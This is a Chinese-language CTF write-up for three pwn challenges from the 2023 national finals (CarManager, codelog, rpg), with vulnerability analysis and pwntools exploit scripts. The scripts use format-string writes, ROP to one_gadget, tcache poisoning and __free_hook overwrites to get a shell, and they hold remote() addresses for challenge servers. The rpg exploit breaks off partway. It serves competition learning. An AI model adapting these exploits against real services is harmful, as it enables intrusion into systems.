0%

国赛-决赛2023

CarManager

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
1
2
3
4
5
6
CarManager: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5e78faed20a68cb3ad600697b0d036baefa646e8, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,Full RELRO,NX,PIE

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void __fastcall write_s(const char *introduction_data)
{
if ( introduction_data )
{
printf("Car Intro: ");
if ( strlen(introduction_data) <= 0x3F )
{
printf(introduction_data);
}
else
{
write(1, introduction_data, 0x3DuLL);
printf("...");
}
puts(&byte_419A);
}
}

UAF 漏洞:

1
2
3
4
5
6
7
if ( check() )
{
free((void *)nameg->car_name->descript_data);
free((void *)nameg->car_name->introduction_data);
free(nameg->car_name);
nameg->car_name = 0LL;
}

堆溢出漏洞:

1
2
3
4
5
6
7
8
9
10
if ( nameg->descript )
{
size1 = size;
if ( size1 > strlen((const char *)nameg->descript) + 1 )
{
free((void *)nameg->descript);
user = nameg;
user->descript = (__int64)malloc(size);
}
}
  • 这里使用 strlen 获取当前 chunk 的 size,在写满的情况下可能会将 next chunk->size 也计算在内,导致几字节的堆溢出
  • PS:遇到这种不记录 size 而是使用 strlen 计算 size 的题目,一定要检查有没有堆溢出

入侵思路 - 格式化字符串

使用格式化字符串可以泄露 stack_addr 和 libc_base:

接下来就是通过覆盖返回地址打 one_gadget:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

libc-2.31 的 one_gadget 条件比较高,断点到 ret 并查看此时的寄存器:

1
2
3
*RDX  0xffffffffffffff9c
R12 0x555555555280 ◂— endbr64
R15 0x0
  • 使用一个 pop_rdx_ret 就可以将 RDX 置空,在栈上有预留的 “0”
1
2
3
4
5
6
00:0000│ rsp 0x7fffffffdc08 —▸ 0x55555555551a ◂— jmp    0x55555555553f
01:00080x7fffffffdc10 ◂— 0x82d6d98e46a4e59b
02:00100x7fffffffdc18 ◂— 0x100000008
03:0018│ rbp 0x7fffffffdc20 —▸ 0x7fffffffdc30 ◂— 0x0
04:00200x7fffffffdc28 —▸ 0x55555555555d ◂— mov eax, 0
05:00280x7fffffffdc30 ◂— 0x0 /* target */

搭建 ROP,利用预留的 “0” 置空 RDX,最后写上 one_gadget 就可以了

非完整 exp 如下:(没有写有关逆向的部分)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './CarManager_bug1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('175.22.1.46','9999')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x191F)\nb *$rebase(0x1E3E)\n")
pause()

def cmd(op):
sla(">",str(op))

def control():
sla(">>",str(1))
sla(">>",str(5))

def edit_user(name,password,phone,size,data):
sla(">>",str(3))
sla(">>",str(4))
sla("username: ",name)
sla("password: ",password)
sla("phoneNum:",phone)
sla("descript size:",str(size))
sla("descript data:",data)
sla(">>",str(100))

def login(name,passwd,phone,size,data):
sla(">>",str(3))
sla(">>",str(1))
sla("username:",name)
sla("password:",passwd)
sla("phoneNum:",phone)
sla("descript size:",str(size))
sla("descript data:",data)
sla(">>",str(100))

def dele_user():
sla(">>",str(3))
sla(">>",str(6))

def add_car(size,data2,data1="a",name="1",price=1):
sla(">>",str(1))
sla("Car Name:",name)
sla("price:",str(price))
sla("descript size:",str(size))
sla("descript data:",data1)
sla("introduction size:",str(size))
sla("introduction data:",data2)

def edit_car(size,data2,data1="a",name="1",price=1):
sla(">>",str(3))
sla("Car Name:",name)
sla("price:",str(price))
sla("descript size:",str(size))
sla("descript data:",data1)
sla("introduction size:",str(size))
sla("introduction data:",data2)

def show_car():
sla(">>",str(2))

def dele_car():
sla(">>",str(1))
sla(">>",str(4))
sla(">>",str(100))

def publish_topic(title,size,data):
sla(">>",str(2))
sla(">>",str(2))
sla("title",title)
sla("content size: ",str(size))
sla("content data: ",data)
sla(">>",str(100))

def add_topic(index,size,data):
sla(">>",str(2))
sla(">>",str(5))
sla("idx: ",str(index))
sla("comment size: ",str(size))
sla("comment data: ",data)
sla(">>",str(100))

def show_topic(index):
sla(">>",str(2))
sla(">>",str(6))
sla("idx: ",str(index))
sla(">>",str(100))

def dele_topic(index):
sla(">>",str(2))
sla(">>",str(4))
sla("idx: ",str(index))
sla(">>",str(100))

login("name","passwd","123",0x50,"1"*0x10)

sla(">>",str(1))
add_car(0x30,"%p%23$p")
show_car()

ru("Car Intro: 0x")
stack_addr = eval("0x"+ru("0x"))
stack_base = stack_addr + 0x26a0
success("stack_addr >> "+hex(stack_addr))
success("stack_base >> "+hex(stack_base))

leak_addr = eval("0x"+ru("\n"))
libc_base = leak_addr - 0x24083
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

pop_rdx_rcx_rbx_ret = libc_base + 0x000000000010257d
pop_rdx_ret = libc_base + 0x0000000000142c92
ret = libc_base + 0x0000000000022679
one_gadgets = [0xe3afe,0xe3b01,0xe3b04]
one_gadget = one_gadgets[1] + libc_base
success("one_gadget >> "+hex(one_gadget))

for i in range(3):
magic_stackp = (stack_base+0x58+2*i) % 0x10000
magic_gadgetp = (pop_rdx_rcx_rbx_ret>>i*16) % 0x10000
payload = "%{}c%16$hn\n".format(magic_stackp)
edit_car(0x30,payload)
show_car()
payload = "%{}c%20$hn\n".format(magic_gadgetp)
edit_car(0x30,payload)
show_car()

for i in range(3):
magic_stackp = (stack_base+0x58+2*i+8*4) % 0x10000
magic_gadgetp = (pop_rdx_ret>>i*16) % 0x10000
payload = "%{}c%16$hn\n".format(magic_stackp)
edit_car(0x30,payload)
show_car()
payload = "%{}c%20$hn\n".format(magic_gadgetp)
edit_car(0x30,payload)
show_car()

for i in range(3):
magic_stackp = (stack_base+0x58+2*i+8*6) % 0x10000
magic_gadgetp = (one_gadget>>i*16) % 0x10000
payload = "%{}c%16$hn\n".format(magic_stackp)
edit_car(0x30,payload)
show_car()
payload = "%{}c%20$hn\n".format(magic_gadgetp)
edit_car(0x30,payload)
show_car()

#debug()
sla(">>",str(100))
p.interactive()

入侵思路 - UAF+堆溢出

利用 UAF 也可以完成泄露,但是需要注意技巧:

1
2
3
4
5
6
7
8
9
10
for ( i = 0; size > i; ++i )
{
if ( (int)read(0, &a1[i], 1uLL) <= 0 )
exit(0);
if ( a1[i] == 10 )
{
a1[i] = 0;
return i;
}
}

所有的输入函数都会对末尾的 \n 进行置空,而所有的输出都会被 \x00 截断,此时遗留在堆上的地址就无法被打印

可以用如下技巧绕过这个限制:(输入刚好合适的 size,使 \n 读取不进来)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Register("name",0x50,"1"*0x10)
add_car(0x680,"a\n")
publish_topic("a"*0x8,0x20,"b"*0x8)
dele_car()

add_car(0x480,"a\n")
dele_car()

add_car(1,"1",size2=0x470)
show_car()
ru("Car Intro: ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x1ed031
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

edit_car(16,"2"*16,size2=0x470)
show_car()
ru("Car Intro: 2222222222222222")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr - 0x820
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

利用堆溢出我们可以修改 next chunk->size,将其释放就可以实现堆重叠,重新申请回来就可以修改 tcache 了

非完整 exp 如下:(没有写有关逆向的部分)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './CarManager_bug1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('175.22.1.46','9999')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x264E)\n")
#pause()

def cmd(op):
sla(">",str(op))

def control():
sla(">>",str(1))
sla(">>",str(5))

def edit_user(name,size,data,passwd="passwd",phone="123"):
sla(">>",str(3))
sla(">>",str(5))
sla(">>",str(2))
sla("username: ",name)
sla("password: ",passwd)
sla(">>",str(4))
sla("username: ",name)
sla("password: ",passwd)
sla("phoneNum:",phone)
sla("descript size:",str(size))
sla("descript data:",data)
sla(">>",str(100))

def Register(name,size,data,passwd="passwd",phone="123"):
sla(">>",str(3))
sla(">>",str(5))
sla(">>",str(1))
sla("username:",name)
sla("password:",passwd)
sla("phoneNum:",phone)
sla("descript size:",str(size))
sla("descript data:",data)
sla(">>",str(100))

def dele_user(name,passwd="passwd"):
sla(">>",str(3))
sla(">>",str(5))
sla(">>",str(2))
sla("username:",name)
sla("password:",passwd)
sla(">>",str(6))
sla(">>",str(100))

def add_car(size,data,size2=0,data2="a",name="1",price=1):
sla(">>",str(1))
sla(">>",str(1))
sla("Car Name:",name)
sla("price:",str(price))
if(size2 == 0):
size2 = size
sla("descript size:",str(size2))
sla("descript data:",data2)
sla("introduction size:",str(size))
sa("introduction data:",data)
sla(">>",str(100))

def edit_car(size,data,size2=0,data2="a",name="1",price=1):
sla(">>",str(1))
sla(">>",str(3))
sla("Car Name:",name)
sla("price:",str(price))
if(size2 == 0):
size2 = size
sla("descript size:",str(size2))
sla("descript data:",data2)
sla("introduction size:",str(size))
sla("introduction data:",data)
sla(">>",str(100))

def show_car():
sla(">>",str(1))
sla(">>",str(2))

def dele_car():
sla(">>",str(1))
sla(">>",str(4))
sla(">>",str(100))

def publish_topic(title,size,data):
sla(">>",str(2))
sla(">>",str(2))
sla("title",title)
sla("content size: ",str(size))
sla("content data: ",data)
sla(">>",str(100))

def add_topic(index,size,data):
sla(">>",str(2))
sla(">>",str(5))
sla("idx: ",str(index))
sla("comment size: ",str(size))
sla("comment data: ",data)
sla(">>",str(100))

def show_topic(index):
sla(">>",str(2))
sla(">>",str(6))
sla("idx: ",str(index))

def show_topic_all():
sla(">>",str(2))
sla(">>",str(1))

def dele_topic_all(index):
sla(">>",str(2))
sla(">>",str(4))
sla("idx: ",str(index))
sla(">>",str(100))

def dele_topic(index1,index2):
sla(">>",str(2))
sla(">>",str(7))
sla("idx: ",str(index1))
sla("idx: ",str(index2))
sla(">>",str(100))

def edit_topic(index,title,size,data):
sla(">>",str(2))
sla(">>",str(3))
sla("idx: ",str(index))
sla("title",title)
sla("content size: ",str(size))
sla("content data: ",data)
sla(">>",str(100))

Register("name",0x50,"1"*0x10)
add_car(0x680,"a\n")
publish_topic("a"*0x8,0x20,"b"*0x8)
dele_car()

add_car(0x480,"a\n")
dele_car()

add_car(1,"1",size2=0x470)
show_car()
ru("Car Intro: ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x1ed031
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

edit_car(16,"2"*16,size2=0x470)
show_car()
ru("Car Intro: 2222222222222222")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr - 0x820
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
success("free_hook >> "+hex(free_hook))

sla(">>",str(100))
for i in range(9):
Register(str(i),0x68,"1"*0x68)

edit_user("0",0x6a,"0"*0x68+p16(0x691))

for i in range(6):
dele_user(str(i))

#debug()

Register("a",0x68,"1"*0x68)
add_car(0x20,"p",size2=0x600,data2="p"*0x70+p64(free_hook)+"\n")

sla(">>",str(100))
Register("b",0x68,"1"*0x68)
Register("/bin/sh",0x68,p64(system))

sla(">>",str(3))
sla(">>",str(6))

p.interactive()

codelog

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
1
2
3
4
5
6
codelog: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dd0a2bd738926ee059e1aceb6873084dcf353a1b, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,Full RELRO,Canary,NX

漏洞分析

程序只置空了指针而没有置空 size:

1
2
3
4
5
6
if ( chunk_list[num].ptr )
{
free(chunk_list[num].ptr);
chunk_list[num].ptr = 0LL;
puts("Success!");
}

堆溢出漏洞:(scanf 没有限制输入值的长度)

1
2
3
4
printf("char: ");
__isoc99_scanf("%s", &chars[i]);
printf("weight: ");
__isoc99_scanf("%d", &weights[16 * i]);
  • PS:遇到 scanf 需要注意是否有堆溢出

入侵思路

简单搭建一下堆风水就可以完成泄露:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
init(0x48,0x60,0x60)

for i in range(8):
add(0x110,"a"*8)

for i in range(7):
dele(i+1)
dele(0)

add(0x60,"a")
show(0)

ru("log: ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x1e9061
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

利用 scanf 的堆溢出可以修改 tcache,从而劫持 free_hook

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './codelog1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"b *0x401AE1")
#gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
#pause()

def cmd(op):
sla("$",str(op))

def init(size,char,weight):
cmd("Init")
sla("Size:",str(size))
for i in range(size):
sla("char:",char)
sla("weight:",str(weight))

def Encode(size,data):
cmd("Encode")
sla("input:",str(size))
sla("Input: ",data)

def Decode(size,key,data):
cmd("Decode")
sla("The length of input: ",str(size))
sla(">>",str(key))
if(key == 1):
sla("Confirm? [Y/N]","N")
sla("Manual input:",data)

def Show_code():
cmd("Show_code")

def Show_tree():
cmd("Show_tree")

def add(size,data):
cmd("Add_log")
sla("size: ",str(size))
sla("log: ",data)

def dele(index):
cmd("Delete_log")
sla("idx: ",str(index))

def show(index):
cmd("Print_log")
sla("idx: ",str(index))

init(0x48,"1",1)

for i in range(8):
add(0x110,"a"*8)

for i in range(7):
dele(7-i)
dele(0)

add(0x60,"a")
show(0)

ru("log: ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x1e9061
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
success("free_hook >> "+hex(free_hook))

#debug()

payload = "1"*7 + p64(libc_base+0x1ecbe0)*1
payload += p64(0)+p64(0x91)+p64(libc_base+0x1ecbe0)*2
payload += 0x70 * "2"
payload += p64(0x90) + p64(0x240) + p64(free_hook)

cmd("Init")
sla("Size:",str(2))
sla("char:",payload)
sla("weight:","1")
sla("char:","1")
sla("weight:","1")

add(0x110,"/bin/sh")
add(0x110,p64(system))

dele(1)

p.interactive()

rpg

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
1
2
3
4
5
6
rpg: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b69646b934160ce4f2f19a27b4d4637e7cd180f8, stripped                  
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,Partial RELRO,NX,PIE

flatbuffers 逆向分析

在开始分析本题目前,需要先了解 flatbuffers 的相关知识,可以在官网了解其基础用法:

经过长时间的逆向分析,发现程序会大量使用如下结构去索引数据:

1
2
3
4
__int64 __fastcall sub_1BE0(char *a1)
{
return sub_2E70((__int64)a1, 4u);
}
1
2
3
4
__int64 __fastcall sub_2E70(__int64 a1, unsigned __int16 a2)
{
return sub_2EA0(a1, a2);
}
1
2
3
4
5
6
7
8
9
10
__int64 __fastcall sub_2EA0(__int64 a1, unsigned __int16 a2)
{
unsigned __int16 v4; // [rsp+24h] [rbp-Ch]

v4 = sub_2A30(a1, a2);
if ( v4 )
return sub_23C0((unsigned int *)(v4 + a1)) + v4 + a1;
else
return 0LL;
}
1
2
3
4
5
6
7
8
9
10
__int64 __fastcall sub_2A30(__int64 input, unsigned __int16 num)
{
char *v4; // [rsp+8h] [rbp-18h]

v4 = (char *)sub_2AE0(input);
if ( num >= (int)sub_29D0((unsigned __int16 *)v4) )
return 0;
else
return sub_29D0((unsigned __int16 *)&v4[num]);
}

从 flatbuffers 官方测试样例中编译了几个二进制文件,找到类似的结构:(反序列化部分)

1
2
3
4
const MyGame::Sample::Vec3 *__cdecl MyGame::Sample::Monster::pos(const MyGame::Sample::Monster *const this)
{
return flatbuffers::Table::GetStruct<MyGame::Sample::Vec3 const*>(this, 4u);
}
1
2
3
4
5
6
7
8
9
10
11
12
const MyGame::Sample::Vec3 *__cdecl flatbuffers::Table::GetStruct<MyGame::Sample::Vec3 const*>(
const flatbuffers::Table *const this,
flatbuffers::voffset_t field)
{
flatbuffers::voffset_t OptionalFieldOffset; // ax

OptionalFieldOffset = flatbuffers::Table::GetOptionalFieldOffset(this, field);
if ( OptionalFieldOffset )
return (const MyGame::Sample::Vec3 *)&this[OptionalFieldOffset];
else
return 0LL;
}
1
2
3
4
5
6
7
8
9
10
11
12
flatbuffers::voffset_t __cdecl flatbuffers::Table::GetOptionalFieldOffset(
const flatbuffers::Table *const this,
flatbuffers::voffset_t field)
{
const unsigned __int8 *vtable; // [rsp+18h] [rbp-8h]

vtable = flatbuffers::Table::GetVTable(this);
if ( field >= flatbuffers::ReadScalar<unsigned short>(vtable) )
return 0;
else
return flatbuffers::ReadScalar<unsigned short>(&vtable[field]);
}

也就是说,题目设计了 flatbuffers 反序列化的部分,需要我们逆向出序列化逻辑并将序列化后数据作为程序的输入

flatbuffers 的反序列化需要定义 cft.fbs 文件(用于指定序列化格式),目前只能通过反序列化伪代码来猜测 cft.fbs 中可能的结构,我在题目中找到了如下的突破口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
__int64 __fastcall Verify(char *this, _QWORD *verifier)
{
__int64 key; // rax
unsigned int *index2; // rax
unsigned int *v4; // rax
char v6; // [rsp+2Fh] [rbp-11h]

v6 = 0;
if ( (VerifyTableStart((__int64)this, verifier) & 1) != 0 )
{
v6 = 0;
if ( VerifyOffset_unsigned_int((__int64)this, verifier, 4u) )
{
key = get_key(this);
v6 = 0;
if ( (VerifyString(verifier, key) & 1) != 0 )
{
v6 = 0;
if ( (VerifyField_int((__int64)this, verifier, 6u, 8LL) & 1) != 0 )
{
v6 = 0;
if ( (VerifyField_int((__int64)this, verifier, 8u, 8LL) & 1) != 0 )
{
v6 = 0;
if ( VerifyOffset_unsigned_int((__int64)this, verifier, 0xAu) )
{
index2 = get_index2((__int64)this);
v6 = 0;
if ( (sub_2630((__int64)verifier, (__int64)index2) & 1) != 0 )
{
v4 = get_index2((__int64)this);
v6 = 0;
if ( (sub_2680((__int64)verifier, v4) & 1) != 0 )
v6 = sub_2720((__int64)verifier);
}
}
}
}
}
}
}
return v6 & 1;
}

Verifier 是 flatbuffers 的检查器:

  • VerifyString(verifier, key) 暴露了 cft.fbs 的第1个条目是 string
  • VerifyField_int(this, verifier, 6u, 8LL) 暴露了 cft.fbs 的第2,3个条目是 int64

而最后一个条目可以从如下伪代码中分析出来:

1
2
3
v1 = get_index2((__int64)input);
v6 = get_index(v1, offset);
index = sub_1D10(v6);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall get_index(unsigned int *a1, unsigned int a2)
{
__int64 v2; // rax

if ( a2 >= (unsigned int)sub_1C80(a1) )
__assert_fail(
"i < size()",
"../include/flatbuffers/vector.h",
0xB0u,
"flatbuffers::Vector::return_type flatbuffers::Vector<flatbuffers::Offset<MyGame::Item>>::Get(SizeT) const [T = fla"
"tbuffers::Offset<MyGame::Item>, SizeT = unsigned int]");
v2 = sub_3BB0(a1);
return sub_3B60(v2, a2);
}
  • cft.fbs 的第4个条目是 Vector tables2
  • 近一步对比分析可以得知:tables2 存放有2个条目 - (int64,string)

最后设计出的 cft.fbs 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
namespace Test.Sample;

table Monster {
key:string;
offset:int64 = 0;
size:int64 = 0;
index:[Weapon];
}

table Weapon {
index:int64;
key:string;
}

root_type Monster;

漏洞分析

程序只置空了 size,有 UAF 漏洞:

1
2
free(datag.chunk_list[index]);
datag.size_list[index] = 0LL;

入侵思路

先利用 UAF 进行泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
add(0,0x420)
add(1,0x60)

dele(0)
add(0,0x30)
show(0)

leak_addr = u64(p.recv(8))
libc_base = leak_addr - 0x1ecfd0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))
p.recv(8)
leak_addr = u64(p.recv(8))
heap_base = leak_addr - 0x122c0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

然后利用 UAF 打 double free 即可

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
# -*- coding:utf-8 -*-s
import sys
from pwn import *

arch = 64
challenge = './rpg1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x158D)\n")
#pause()

def cmd(op):
sla(">",str(op))

def add(index,size,offset=0):
payload = p64(0x14)+p64(0xc0004001c000c)+p64(0xc00080014)+p64(0x1400000044)
payload += p64(offset)+p64(size)
payload += p64(0xc00000001)+p16(0x8)+p16(0x10)+p32(0x40008)+p32(0x8)+p32(0xc)
payload += p64(index)
payload += p32(4)+"aaaa"+p32(0)
payload += p32(6)+"Create"
sa("Enter flat buffer:",payload)

def show(index,size=0,offset=0):
payload = p64(0x14)+p64(0xc0004001c000c)+p64(0xc00080014)+p64(0x1400000044)
payload += p64(offset)+p64(size)
payload += p64(0xc00000001)+p16(0x8)+p16(0x10)+p32(0x40008)+p32(0x8)+p32(0xc)
payload += p64(index)
payload += p32(4)+"aaaa"+p32(0)
payload += p32(4)+"Show"
sa("Enter flat buffer:",payload)

def dele(index,size=0,offset=0):
payload = p64(0x14)+p64(0xc0004001c000c)+p64(0xc00080014)+p64(0x1400000044)
payload += p64(offset)+p64(size)
payload += p64(0xc00000001)+p16(0x8)+p16(0x10)+p32(0x40008)+p32(0x8)+p32(0xc)
payload += p64(index)
payload += p32(4)+"aaaa"+p32(0)
payload += p32(6)+"Delete"
sa("Enter flat buffer:",payload)

def edit(index,size,data,offset=0):
payload = p64(0x14)+p64(0xc0004001c000c)+p64(0xc00080014)+p64(0x1400000044+len(data))
payload += p64(offset)+p64(size)
payload += p64(0xc00000001)+p16(0x8)+p16(0x14)+p32(0x40008)+p32(0x8)+p32(0x10)
payload += p64(index)+p32(0)
payload += p32(len(data))+data+p32(0)
payload += p32(4)+"Edit"
sa("Enter flat buffer:",payload)

add(0,0x420)
add(1,0x60)

dele(0)
